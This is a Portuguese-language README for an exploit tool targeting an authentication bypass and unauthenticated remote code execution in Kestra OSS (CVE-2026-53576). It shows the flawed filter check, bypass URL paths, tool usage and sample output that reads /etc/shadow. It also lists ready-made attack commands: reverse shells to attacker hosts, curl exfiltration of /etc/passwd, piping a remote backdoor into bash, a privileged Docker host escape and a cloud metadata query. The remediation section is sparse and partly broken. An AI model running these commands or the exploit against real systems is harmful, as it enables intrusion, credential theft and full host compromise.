
Kestra Exploit de RCE Não Autenticado (CVE-2026-53576)
Bypass crítico de autenticação que leva à Execução Remota de Código não autenticada
Exploit • Detalhes da Vulnerabilidade • Impacto • Remediação
Esta ferramenta destina-se apenas a fins educacionais e de testes de segurança autorizados.
- NÃO a utilize contra sistemas que você não possui ou para os quais não tenha autorização explícita por escrito para testar.
- NÃO a utilize para atividades ilegais.
- O autor NÃO é responsável por qualquer uso indevido desta ferramenta.
- Use por sua CONTA E RISCO.
CVE-2026-53576 é uma vulnerabilidade crítica nas versões do Kestra OSS até v1.3.20 que permite execução remota de código não autenticada por meio de um bypass no filtro de autenticação.
O filtro de autenticação no Kestra contém uma falha crítica de lógica:
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
Essa verificação testa se qualquer requisição à API termina com /configs, em vez de corresponder à rota exata. Isso permite que atacantes contornem a autenticação anexando /configs a qualquer endpoint.
POST /api/v1/main/flows/configs (contorna a autenticação)POST /api/v1/main/executions/configs/configs (contorna a autenticação)# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs # Create flows
/api/v1/main/executions/configs/configs # Execute flows
/api/v1/{tenant}/flows/configs # Any tenant
/api/v1/{tenant}/executions/configs/configs # Any tenant
python3 kestra_exploit.py <target_ip>
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080
# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https
# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"
# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check
# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup
# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"
pip install requests
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576
python3 kestra_exploit.py --help
python3 kestra_exploit.py 192.168.1.100
Saída:
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================
[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26
[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED
[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS
[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
- /tmp/proof.txt containing command output
- Kestra UI execution logs
- Web UI: http://192.168.1.100:8080/ui/
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup
Um atacante não autenticado pode:
Executar comandos arbitrários como root:
# Read secrets
cat /app/conf/application.yml
# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Install malware
curl http://attacker.com/backdoor.sh | bash
Fazer pivô para o sistema host (se o socket do Docker estiver montado):
docker run -v /:/host --privileged alpine chroot /host
Acessar metadados da nuvem (se estiver em provedor de nuvem):
curl http://169.254.169.254/latest/meta-data/
Desligar instâncias vulneráveis:
sudo systemctl stop kestra
Bloquear acesso público:
iptables -A INPUT -p tcp --dport 8080 -j DROP
Aplicar regras de firewall:
Atualizar o Kestra para a versão corrigida mais recente:
Implementar autenticação adequada:
Endurecimento do contêiner:
/var/run/docker.sockEndurecimento da rede:
| Data | Evento |
|---|---|
| 2026-05-26 | Vulnerabilidade descoberta |
| 2026-06-03 | Boletim de Segurança do Kestra publicado |
| 2026-06-10 |
MIT License
Copyright (c) 2026 Security Researcher
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Se você achar esta ferramenta útil:
⚠️ USE COM RESPONSABILIDADE ⚠️
| Atributo | Valor |
|---|
| ID do CVE | CVE-2026-53576 |
| Gravidade | Crítica (9.8 CVSS) |
| Tipo de Vulnerabilidade | Bypass de Autenticação + RCE |
| Produto Afetado | Kestra OSS |
| Versões Afetadas | ≤ v1.3.20 |
| Vetor de Ataque | Rede |
| Autenticação Necessária | Nenhuma |
| Interação do Usuário | Nenhuma |
| Opção | Descrição |
|---|
target | Endereço IP ou hostname do alvo (obrigatório) |
-p, --port | Porta (padrão: 8080) |
--https | Usar HTTPS em vez de HTTP |
-c, --command | Comando personalizado a ser executado |
--docker-check | Verificar acesso ao socket do Docker |
--cleanup | Excluir o fluxo após a exploração |
--delay | Atraso entre requisições (padrão: 2s) |
| Categoria | Gravidade | Descrição |
|---|
| Confidencialidade | ⚠️ Crítica | Ler qualquer arquivo (senhas, segredos, configurações) |
| Integridade | ⚠️ Crítica | Criar/modificar/excluir fluxos e dados |
| Disponibilidade | ⚠️ Alta | Desligar o sistema, esgotamento de recursos |
| Autenticação | ⚠️ Crítica | Bypass completo do Basic-Auth |
| Escalação de Privilégios | ⚠️ Crítica | Comandos executados como root (uid=0) |
| Fuga do Contêiner | ⚠️ Crítica | Comprometimento do host via socket do Docker |
| CVE-2026-53576 atribuído |
| 2026-06-15 | Divulgação pública |
| 2026-08-01 | PoC publicado |